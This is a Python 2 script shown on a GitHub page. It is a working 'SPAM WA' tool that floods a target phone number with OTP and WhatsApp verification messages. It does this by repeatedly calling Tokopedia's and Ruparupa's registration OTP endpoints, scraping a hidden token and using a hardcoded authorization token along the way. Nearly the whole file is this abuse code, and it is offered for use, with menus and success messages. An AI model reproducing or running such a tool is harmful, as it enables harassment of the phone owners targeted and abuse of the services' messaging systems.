-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathWa.py
227 lines (177 loc) · 6.14 KB
/
Wa.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#!/usr/bin/python2
# Creator : ./Sandi W
# Team : No Team
# Never Mind
from requests import ConnectionError
from time import sleep
import requests, sys, os, re, random
os.system('clear')
M = '\033[1;31m'
H = '\033[1;32m'
K = '\033[1;33m'
U = '\033[1;34m'
P = '\033[1;35m'
C = '\033[1;36m'
W = '\033[1;37m'
A = '\033[90m'
def MesinTik(text):
for x in text + '\n':
sys.stdout.write(x)
sys.stdout.flush()
sleep(random.random() * 0.05)
def MesinTik_2(text):
for x in text + '\n':
sys.stdout.write(x)
sys.stdout.flush()
sleep(random.random() * 0.02)
def Banner():
MesinTik_2(''+C+'''
____ __ __
/ ___| _ __ __ _ _ __ ___ \ \ / /_ _
\___ \| '_ \ / _` | '_ ` _ \ \ \ /\ / / _` |
___) | |_) | (_| | | | | | | \ V V / (_| |
|____/| .__/ \__,_|_| |_| |_| \_/\_/ \__,_|
|_|
'''+W+'Creator : ./Sandi W\n\t\t Youtube : Sandi W')
def RupaRupa():
print
MesinTik(C+'\t SPAM RUPA RUPA')
MesinTik(W+'\t================')
print
number = raw_input(''+C+'MASUKKAN NOMOR TARGET'+W+' ('+H+' Ex :'+C+' 0812xxxx '+W+') : ')
jumlah = input(''+C+'JUMLAH SPAM'+W+' ('+H+' Ex :'+C+' 3 '+W+') : ')
print
MesinTik_2(''+C+'-------------- '+W+'Starting'+C+' --------------')
print
hitung = len(number)
if hitung < 9:
print
print(M+'Nomor Tidak Valid !')
sys.exit()
for x in range(jumlah):
try:
headers_1 = {
'User-Agent' : 'Mozilla/5.0 (Linux; Android 5.1.1; AFTT Build/LVY48F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/49.0.2623.10',
'Accept' : 'application/json',
'Origin' : 'https://m.ruparupa.com',
'Referer' : 'https://m.ruparupa.com/my-account',
'authorization' : 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYjMzZTk5NjctMjdhMy00ZjkxLWE2M2MtM2M4NzMyZTZhOTU2IiwiaWF0IjoxNTgwNjM2ODI0LCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.pC9EDy_79GIDd4NOJKZP2kH5EjPdUK5VGUn59CzsdG0',
'x-company-name' : 'odi'
}
data_1 = {
'phone' : number,
'email' : 'jejak@gmail.com',
'action' : 'register',
'password' : ''
}
headers_2 = {
'authorization' : 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYjMzZTk5NjctMjdhMy00ZjkxLWE2M2MtM2M4NzMyZTZhOTU2IiwiaWF0IjoxNTgwNjM2ODI0LCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.pC9EDy_79GIDd4NOJKZP2kH5EjPdUK5VGUn59CzsdG0',
'x-company-name' : 'odi',
'User-Agent' : 'Mozilla/5.0 (Linux; Android 5.1.1; AFTT Build/LVY48F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/49.0.2623.10',
'Origin' : 'https://m.ruparupa.com',
'referer' : 'https://m.ruparupa.com/verification?page=otp-choices',
'accept-encoding' : 'gzip, deflate, br'
}
data_2 = {
'phone' : number,
'action' : 'register',
'channel' : 'chat',
'email' : '',
'customer_id' : '0',
'is_resend' : 0
}
url_1 = 'https://wapi.ruparupa.com/auth/check-otp-auth'
url_2 = 'https://wapi.ruparupa.com/auth/generate-otp'
sending_1 = requests.post(url_1, headers = headers_1, data = data_1)
sending_2 = requests.post(url_2, headers = headers_2, data = data_2)
if 'tunggu 1x24 jam' in sending_2.text:
print
print(''+W+'Pengiriman Sudah Limit\nSilahkan Coba 1 x 24 Jam Lagi :)')
break
else:
print(''+C+'['+W+'*'+C+']'+W+' SPAM KE NOMOR '+C+number+W+' BERHASIL DIKIRIMKAN !')
except ConnectionError:
print
print(M+'Cek Koneksi JaringanMu Gan !')
break
except NameError:
print
print(M+'Jumlah Harus Berupa Angka, Bukan Huruf !')
break
def Tokped():
print
MesinTik(C+'\t SPAM TOKOPEDIA')
MesinTik(W+'\t================')
print
number = raw_input(''+C+'MASUKKAN NOMOR TARGET'+W+' ('+H+' Ex :'+C+' 0812xxxx '+W+') : ')
jumlah = input(''+C+'JUMLAH SPAM'+W+' ('+H+' Ex :'+C+' 3 '+W+') : ')
print
MesinTik_2(''+C+'-------------- '+W+'Starting'+C+' --------------')
print
for x in range(jumlah):
try:
headers = {
'Connection' : 'keep-alive',
'Accept' : 'application/json, text/javascript, */*; q=0.01',
'Origin' : 'https://accounts.tokopedia.com',
'X-Requested-With' : 'XMLHttpRequest',
'User-Agent' : '{acak}',
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding' : 'gzip, deflate',
}
site = requests.get('https://accounts.tokopedia.com/otp/c/page?otp_type=116&msisdn='+number+'&ld=https%3A%2F%2Faccounts.tokopedia.com%2Fregister%3Ftype%3Dphone%26phone%3D{}%26status%3DeyJrIjp0cnVlLCJtIjp0cnVlLCJzIjpmYWxzZSwiYm90IjpmYWxzZSwiZ2MiOmZhbHNlfQ%253D%253D', headers = headers).text
search = re.search(r'\<input\ id\=\"Token\"\ value\=\"(.*?)\"\ type\=\"hidden\"\>', site).group(1)
data = {
'otp_type' : '116',
'msisdn' : number,
'tk' : search,
'email' : '',
'original_param' : '',
'user_id' : '',
'signature' : '',
'number_otp_digit' : '6',
}
sleep(30) # Jangan Di Rubah Nilai Sleepnya, Itu Udah Default.
sending = requests.post('https://accounts.tokopedia.com/otp/c/ajax/request-wa', headers = headers, data = data)
if 'Anda sudah melakukan 3 kali pengiriman kode' in sending.text:
print
print(''+W+'Pengiriman Sudah Limit\nSilahkan Coba 25 - 60 Menit Lagi :)')
break
else:
print(''+C+'['+W+'*'+C+']'+W+' SPAM KE NOMOR '+C+number+W+' BERHASIL DIKIRIMKAN !')
except ConnectionError:
print
print(M+'Cek Koneksi JaringanMu Gan !')
break
except NameError:
print
print(M+'Jumlah Harus Berupa Angka, Bukan Huruf !')
break
def Spam():
os.system('clear')
print(C+'Wajib SUBCRIBE '+W+' Goblog !'+C+' :V')
sleep(1.5)
os.system('xdg-open https://youtube.com/SandiW')
os.system('clear')
sleep(1.3)
Banner()
print
print
print(C+'MENU'+W+' :')
print(C+'\t['+W+'1'+C+']'+W+' SPAM TOKOPEDIA'+C+' ( '+H+'Aktif'+C+' )')
print(C+'\t['+W+'2'+C+']'+W+' SPAM RUPA-RUPA'+C+' ( '+M+'NonAktif'+C+' )')
print
try:
pilih = input(C+'PILIH MENU'+W+' \xE2\x9E\xA4 '+C+'')
if pilih == 1:
Tokped()
elif pilih == 2:
RupaRupa()
else:
pass
except NameError:
print
print(M+'Pilih Menu Harus Berupa Angka, Bukan Huruf !')
sys.exit()
if __name__ == '__main__':
Spam()